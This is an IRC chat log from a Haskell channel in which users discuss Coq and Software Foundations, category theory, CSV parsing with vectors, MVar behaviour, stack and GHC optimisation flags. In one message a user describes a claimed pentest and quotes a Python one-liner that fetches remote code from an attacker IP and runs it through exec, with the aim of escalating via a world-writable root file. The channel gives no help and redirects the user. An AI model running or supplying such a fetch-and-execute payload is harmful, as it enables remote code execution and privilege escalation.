cocreature 2017-01-25 22:45:31
bwe: "map (read . head)" would be one option.
bwe 2017-01-25 22:45:35
In particular, I do not know how to get the type of `v`. If I knew, I could work on that.
merijn 2017-01-25 22:45:43
zipper: As for formal proofs using Coq, there is "Software Foundations" an excellent (free!) book (with exercises), that covers proving programs correct, starting from simple pure functions up to imperative languages
merijn 2017-01-25 22:46:19
zipper: Type theory helps a bit, in terms of understanding haskell better, but mostly interesting if you like programming languages and if you have vague aspirations to write your own (which I would also recommend)
merijn 2017-01-25 22:46:51
zipper: SF is probably more directly applicable as it teaches you how you would, for example, prove that your Monad instances follows the Monad laws :)
merijn 2017-01-25 22:46:54
@where tapl
lambdabot 2017-01-25 22:46:55
http://www.cis.upenn.edu/~bcpierce/tapl/
merijn 2017-01-25 22:46:56
@where sf
lambdabot 2017-01-25 22:46:56
"Software Foundations" by Pierce,Casinghino,Greenberg,Sjöberg,Yorgey in 2011-06 at
lambdabot 2017-01-25 22:46:56
"It develops basic concepts of functional programming, logic, operational semantics, lambda-calculus, and static type systems, using the Coq proof assistant."
lpaste 2017-01-25 22:47:07
bwe revised "Conduit readCSVFile": "Conduit readCSVFile" at http://lpaste.net/9045721241620578304
zipper 2017-01-25 22:47:26
merijn: https://www.cis.upenn.edu/~bcpierce/sf/current/index.html
zipper 2017-01-25 22:47:29
?
bwe 2017-01-25 22:47:31
cocreature: As I do not know the type of `v`, how do I know which head to use?
merijn 2017-01-25 22:47:37
zipper: Yeah, that one
reactormonk 2017-01-25 22:47:45
I've currently got code like (flip fmap) code transform because I prefer to read things from top down, instead of having to read from bottom to top - is there a nicer way?
merijn 2017-01-25 22:48:05
zipper: It's actually a giant literate Coq file that you can load inside your editor to interactively step through the examples and work out the exercises
dramforever 2017-01-25 22:48:14
reactormonk: Yes, put the long stuffs into a 'where' clause
merijn 2017-01-25 22:48:25
zipper: You can use ProofGeneral (emacs) or Coquille (vim) for a nice Coq IDE for that
cocreature 2017-01-25 22:48:49
bwe: you know the type of v! you have even explicitely stated that it's "Vector (Row ByteString)" in your code
zipper 2017-01-25 22:49:10
merijn: I have never written coq and I am not in a hurry to because I don't see high chances of me applying it in a workplace
zipper 2017-01-25 22:49:30
merijn: Like programming time matters greatly at a startup
reactormonk 2017-01-25 22:49:30
How do I set env variables with stack --docker ghci?
merijn 2017-01-25 22:49:33
But like I said, I would also encourage anyone interested in learning type theory and implementing your own language/compiler, but then, I'm biased :p
zipper 2017-01-25 22:49:46
merijn: Do you work in research/
dramforever 2017-01-25 22:49:46
bwe: It's a 'Vector (Row ByteString)' right?
dramforever 2017-01-25 22:49:50
Do you understand?
zipper 2017-01-25 22:49:53
*?
merijn 2017-01-25 22:49:54
zipper: The book teaches Coq and how to prove things simultaneously, so no need to learn Coq first :)
zipper 2017-01-25 22:50:00
merijn: For sure
merijn 2017-01-25 22:50:12
zipper: Yes, but (unfortunately) not remotely related to programming languages and proofs :p
bwe 2017-01-25 22:50:14
dramforever: Yep.
cocreature 2017-01-25 22:50:28
zipper: well if you have enough time to learn category theory, it might be worth spending that time on something more useful :)
zipper 2017-01-25 22:50:51
cocreature: Burn!
zipper 2017-01-25 22:51:10
merijn: SF teaches Coq?
dramforever 2017-01-25 22:51:26
bwe: http://hackage.haskell.org/package/csv-conduit-0.6.7/docs/Data-CSV-Conduit-Types.html bottom
dramforever 2017-01-25 22:51:30
A Row is just a list of fields
merijn 2017-01-25 22:51:32
zipper: Yeah, a bit, anyway, Coq itself is huge :)
dramforever 2017-01-25 22:51:38
So you use the Prelude one
zipper 2017-01-25 22:51:43
merijn: I'm sold on it
cocreature 2017-01-25 22:51:57
zipper: don't get me wrong. I now a fair amount of CT but I learned it because I find it interesting not because I expect to help me significantly in writing Haskell
cocreature 2017-01-25 22:52:03
s/now/know/
merijn 2017-01-25 22:52:08
zipper: Not so much a burn, but it's true, if you're worried about learning stuff you can apply than SF is definitely closer than CT, imo
shayan_ 2017-01-25 22:52:23
what's coq? and also what is that Software Foundations? roadmap to learning FRP?
lpaste 2017-01-25 22:52:42
bwe revised "Conduit readCSVFile": "Conduit readCSVFile" at http://lpaste.net/9045721241620578304
zipper 2017-01-25 22:52:59
merijn: I will at least give it a look
merijn 2017-01-25 22:53:18
Like I said, even earlier, I don't wanna discourage people from learning Category Theory, but somehow this common misconception that Haskell is based on CT and that CT helps your Haskell has crept into the world and it's just not true, so I'm just trying to avoid people investing weeks or months into learning something that doesn't help their goals :)
merijn 2017-01-25 22:53:50
shayan_: Coq is a dependently typed programming language used for computer aided mathematical proofs. Software Foundations is a book on how to do correctness proofs for programs using Coq
dramforever 2017-01-25 22:54:02
bwe: No no no the map works on the Vector so you need Vector.map but Prelude.head
dramforever 2017-01-25 22:54:12
a Vector... is *not* a list
python123 2017-01-25 22:54:19
hi, Im new to python. I have a scenario from a pentest whereby i have a file with 777 permission that is owned by root and has the group of root. I want to therefore abuse this poor configuration and execute a python reverset tcp payload to my machine. The command i want to execute is python -c "import urllib2; r = urllib2.urlopen('http://192.168.254.10:8080/'); exec(r.read());" This works from the
python123 2017-01-25 22:54:25
command line without any problem i just need to work out how to call it.
lyxia 2017-01-25 22:54:38
python123: go to #python
ph88 2017-01-25 22:54:50
hey guys, i have here a part of a profiling output https://paste.fedoraproject.org/536717/14854244/raw/ how can i debug why some function gets called over 2 million times ?
dramforever 2017-01-25 22:55:02
*and* that's not how you define 'c'. That doesn't do IO, so you don't bind it, so you should just let c = Prelude.map whatever
lpaste 2017-01-25 22:55:14
bwe revised "Conduit readCSVFile": "Conduit readCSVFile" at http://lpaste.net/9045721241620578304
reactormonk 2017-01-25 22:55:23
This code is using ClassyPrelude, so putStrLn wants a Text instead of String, as produced by show - how should I handle this?
shayan_ 2017-01-25 22:55:26
merijn: it seems that coq is research-heavy? i mean, how applicable is this for application purposes on the web? just out of curiosity
cocreature 2017-01-25 22:56:00
shayan_: you are not going to use coq directly but coq teaches you a certain mindset that can be helpful when reasoning about your code
merijn 2017-01-25 22:56:11
shayan_: I would say Coq isn't really a general purposes language. I mean it is, but almost no one uses it for that
dramforever 2017-01-25 22:56:12
bwe: and the 'c' thing? you are doing it I suppose?
zipper 2017-01-25 22:56:23
merijn: I'd say writing more code and tests helps in writing code but it's also good to go back to the book so that you're not repeating the very same old mistakes. I just need to write more in my case.
merijn 2017-01-25 22:56:35
shayan_: Usually would people do is write a program that's proven correct and then "extract" haskell/ocaml code from the proof
zipper 2017-01-25 22:56:53
merijn: So I write e.g a haskell program and then I go write it in Coq to prove it?
zipper 2017-01-25 22:57:06
cocreature: Oh I see
shayan_ 2017-01-25 22:57:07
quite interesting
merijn 2017-01-25 22:57:15
zipper: You could, Coq also has extraction tools to generate code from proofs
cocreature 2017-01-25 22:57:50
you have to keep in mind that formally verifying code is a _lot_ of work
merijn 2017-01-25 22:57:51
zipper: Additionally, learning how to do the proofs makes it easier to do things in your head like looking at your code and going "oh, this is obviously correct"
zipper 2017-01-25 22:57:53
this generated code needs to be legible and maintainable.
zipper 2017-01-25 22:58:03
Although maybe just extensible
zipper 2017-01-25 22:58:07
Since it's correct
dramforever 2017-01-25 22:58:14
but how?
zipper 2017-01-25 22:58:27
dramforever: What?
dramforever 2017-01-25 22:58:30
do you need to prove the extended code correct?
merijn 2017-01-25 22:58:33
zipper: And there's some research that suggests that thinking about how to make your code formally verifiable helps avoid errors/bugs
zipper 2017-01-25 22:58:34
merijn: I see
zipper 2017-01-25 22:58:55
merijn: Yes thinking about types helps me understand what I'm doing a lot.
zipper 2017-01-25 22:59:20
dramforever: I assume you have to prove the extended code correct or make it maintainable.
merijn 2017-01-25 22:59:31
shayan_: I probably wouldn't use Coq if I was some social startup Web2.0 thing. THis is really more for things like "I wanna proof that the optimisations in my compiler never introduce bugs, so I can use them for the code running on my space shuttle" type things ;)
roxxik 2017-01-25 22:59:56
wasn't there just yesterday someone saying that formal verification won't show any bugs, but making your code verifiable will
shayan_ 2017-01-25 23:00:03
merijn: makes sense :) nice to know about this though
zipper 2017-01-25 23:00:14
merijn: LOL whyyyy? "social startup Web2.0 thing" I probably shouldn't even be looking at haskell.
merijn 2017-01-25 23:00:15
shayan_: Which, incidentally, is something that is actually being done with Coq. CompCert is a formally verified C compiler and they are now working on "proven correct" optimisations
zipper 2017-01-25 23:00:21
Gotta write railzzzzz
merijn 2017-01-25 23:00:22
roxxik: Yes, me ;)
cocreature 2017-01-25 23:00:28
even the formal verification people are too lazy to verify that their formal verification tools are correct
merijn 2017-01-25 23:00:56
cocreature: CompCert guys are working on formally verifying x86, because their masochists
shayan_ 2017-01-25 23:00:56
zipper: wrong.
zipper 2017-01-25 23:01:09
shayan_: Where am I wrong?
shayan_ 2017-01-25 23:01:21
zipper: writing rails over haskell
dramforever 2017-01-25 23:01:39
zipper: Perhaps you should just extend the Coq code and do the generation again?
merijn 2017-01-25 23:02:00
shayan_: A lot of critical systems developers (so, like, planes) currently have to use clang/gcc with -O0 because both of those compilers introduce so many bugs during optimisation. So having a compiler with safe optimisations is really valuable :)
cocreature 2017-01-25 23:02:03
merijn: the coq/isabelle crowd is pretty good at actually caring about this. but there is a lot of modelchecking stuff (possibly based on SMT) and pretty much none of this is verified. I say this as someone doing research in that area myself :)
zipper 2017-01-25 23:02:03
dramforever: How about just write coq and forget about everything else
ByteEater 2017-01-25 23:02:21
Hello, all you nice people! Does anybody know the reason why Haskell (at least GHC) keeps an MVar taken (rendering it useless) when the thread that took it terminates? (Or should I ask this type of questions on #haskell-beginners?) Thanks in advance.
cocreature 2017-01-25 23:03:08
ByteEater: if you want it to be automatically released when the thread dies, you need to use something like "withMVar"
zipper 2017-01-25 23:03:11
shayan_: :)
merijn 2017-01-25 23:03:15
ByteEater: Because that's how they are designed? :p
dramforever 2017-01-25 23:03:24
'taken' = empty = block if somebody else takes
shayan_ 2017-01-25 23:03:27
merijn: i definitely see this very useful
merijn 2017-01-25 23:03:34
ByteEater: Think of MVar's as "channels of size 1", not "mutable variable"
ByteEater 2017-01-25 23:04:24
@merijn, obviously :-) but is there any good rationale, like a footgun lurking if designed otherwise, or a prohibitive implementation cost?
lambdabot 2017-01-25 23:04:24
Unknown command, try @list
ByteEater 2017-01-25 23:04:31
merijn, obviously :-) but is there any good rationale, like a footgun lurking if designed otherwise, or a prohibitive implementation cost?
dramforever 2017-01-25 23:05:17
but you have withMVar right...?
zipper 2017-01-25 23:05:32
:t withMVar
lambdabot 2017-01-25 23:05:34
error: Variable not in scope: withMVar
dramforever 2017-01-25 23:05:45
:t Control.Concurrent.withMVar
lambdabot 2017-01-25 23:05:47
GHC.MVar.MVar a -> (a -> IO b) -> IO b
merijn 2017-01-25 23:05:52
ByteEater: Because that way you get thread-safety for free, they work as both a lock and mutable storage. But people are right, you can use withMVar if that's what you need and/or IORef
cocreature 2017-01-25 23:06:21
ByteEater: I think the reason why we don't have some magic thread finalizers is that you can write your own using "bracket" or the underlying functions. or in most cases you can just use "withMVar"
merijn 2017-01-25 23:06:24
ByteEater: So they work like that, because there's already other things that don't work like that, so whether MVar is the right choice depends on what you're doing :)
dramforever 2017-01-25 23:06:31
Hmm, I wouldn't quite expect a MVar to suddenly unblock if somebody else dies, right?
dramforever 2017-01-25 23:06:54
I mean, what do I take out of it?
ByteEater 2017-01-25 23:07:09
right, I know about withMVar, I was just curious what the reasoning was when it was designed this way
dramforever 2017-01-25 23:07:14
An exception perhaps? How about async: http://hackage.haskell.org/package/async
ByteEater 2017-01-25 23:07:19
merjin, makes sense, thanks :-)
ByteEater 2017-01-25 23:07:40
s/merjin/merijn
merijn 2017-01-25 23:09:19
ByteEater: It's very common to, for example use MVar as, indeed, a size 1 channel and they're used to, for example, implement Chan too. So if I take something out, I don't necessarily want it put back when I kill the thread, because then using them as channels or to implement channels becomes impossible
dramforever 2017-01-25 23:16:18
ByteEater: how about this: A MVar *isn't* taken by a thread, it's just empty or filled
dramforever 2017-01-25 23:17:17
specifically it's actually possible to create an empty MVar
dramforever 2017-01-25 23:18:33
I can create one in thread A, take it from thread B, fill the MVar in thread C and it all makes sense
dramforever 2017-01-25 23:18:46
Sorry gotta go, can't answer anything :(
bwe 2017-01-25 23:19:41
dramforever: I want a function that spits out a list of floats. Currently, I have that main block of which I don't know how to get the list out of the Vector that is `c`. It's less about the solution itself, more about changing the current situation enabling me to do the very next step.
ByteEater 2017-01-25 23:20:07
indeed, for the record: thx, dramforever
lpaste 2017-01-25 23:23:28
athan pasted "Cabal compile error" at http://lpaste.net/351660
athan 2017-01-25 23:23:43
What would be your course of action for dissecting this issue? ^
cocreature 2017-01-25 23:24:55
athan: remove dist and hope that it disappears on a rebuild ;)
athan 2017-01-25 23:25:17
): that build took a day on this rpi
athan 2017-01-25 23:25:24
phooey, alright
cocreature 2017-01-25 23:25:58
I thought GHC can crosscompile? that should allow you to avoid the terrible built times on a RPI
merijn 2017-01-25 23:26:03
athan: Welcome to my life ;)
merijn 2017-01-25 23:26:11
Except it's not on RPi :p
athan 2017-01-25 23:26:27
cocreature: I don't think so, I would need to build to the llvm backend, then somehow cross-compile with llvm iirc
athan 2017-01-25 23:26:32
which Id on't know how :x
athan 2017-01-25 23:26:47
merijn: :P what do you use?
merijn 2017-01-25 23:27:58
athan: 32 core Intel machines with shit loads of RAM, but it still takes all day to run my stuff :p
athan 2017-01-25 23:28:10
O_O
athan 2017-01-25 23:28:22
...a metric shit load? :v
cocreature 2017-01-25 23:28:42
I get annoyed if I need to wait 5 minutes to get my results
merijn 2017-01-25 23:29:34
cocreature: I'm running, let's see 159 x 5 x 20 x 4 experiments, so it takes me like 3-4 days for all of them to finish >.>
cocreature 2017-01-25 23:30:11
merijn: do you at least have the ability to do some sort of test of your code on a smaller scale before you start the experiments?
merijn 2017-01-25 23:31:12
cocreature: Yeah, I test my implementation is correct with single runs, but it's pretty battle-tested now, I just need a full set of runtimes
cocreature 2017-01-25 23:35:47
merijn: formal verification benchmarks are easy. you run it once on your local machine and record the times. they are useless anyway since there are no standard benchmarks so there is nothing to compare it to. at best you can benchmark against the old version of your tool but really nobody cares about the times as long as they seem somewhat reasonable
merijn 2017-01-25 23:37:06
My actual runtimes aren't even that bad, like couple of seconds usually with some outliers
ph88 2017-01-25 23:37:20
is -O0 the default ?
merijn 2017-01-25 23:37:26
I just have too many :p
cocreature 2017-01-25 23:37:31
ah that sounds a lot better than 3-4 days :)
cocreature 2017-01-25 23:37:37
ph88: afaik O1 is the default
ph88 2017-01-25 23:37:43
oh oh
merijn 2017-01-25 23:37:44
-O0 is default I think
merijn 2017-01-25 23:37:53
If you use cabal it uses whatever is in your cabal config
merijn 2017-01-25 23:38:04
cocreature: Yes, but large number times couple of seconds == 3-4 days :p
ph88 2017-01-25 23:38:07
don't think it's in my cabal config
cocreature 2017-01-25 23:38:22
merijn: yeah but for testing you can at least only run a few of those
merijn 2017-01-25 23:38:29
cocreature: yeah
cocreature 2017-01-25 23:38:42
ph88: so cabal defaults to 1 according to the docs
cocreature 2017-01-25 23:38:45
not sure what GHC defaults to
cocreature 2017-01-25 23:38:57
https://cabal.readthedocs.io/en/latest/nix-local-build.html?highlight=optimization#cfg-field-optimization
merijn 2017-01-25 23:39:00
Newer cabal's do, old cabal used -O0
ph88 2017-01-25 23:39:10
https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/flags.html#optimisation-levels
ph88 2017-01-25 23:39:24
i use stack
cocreature 2017-01-25 23:39:40
stack probably ignores your cabal.config
cocreature 2017-01-25 23:39:55
just pass the optimization level explicitely if you care about it :)
ph88 2017-01-25 23:40:05
i use this command: stack build --ghc-options '-rtsopts -fprof-auto -fprof-auto-calls -fprof-cafs' --executable-profiling
ph88 2017-01-25 23:40:14
ok
ggVGc 2017-01-25 23:40:29
I'm so glad we have stck
ggVGc 2017-01-25 23:40:31
stack*
ph88 2017-01-25 23:40:35
hurray for stack !
EvilMachine 2017-01-25 23:44:27
What's the purpose of stack? The website lists only generic things.
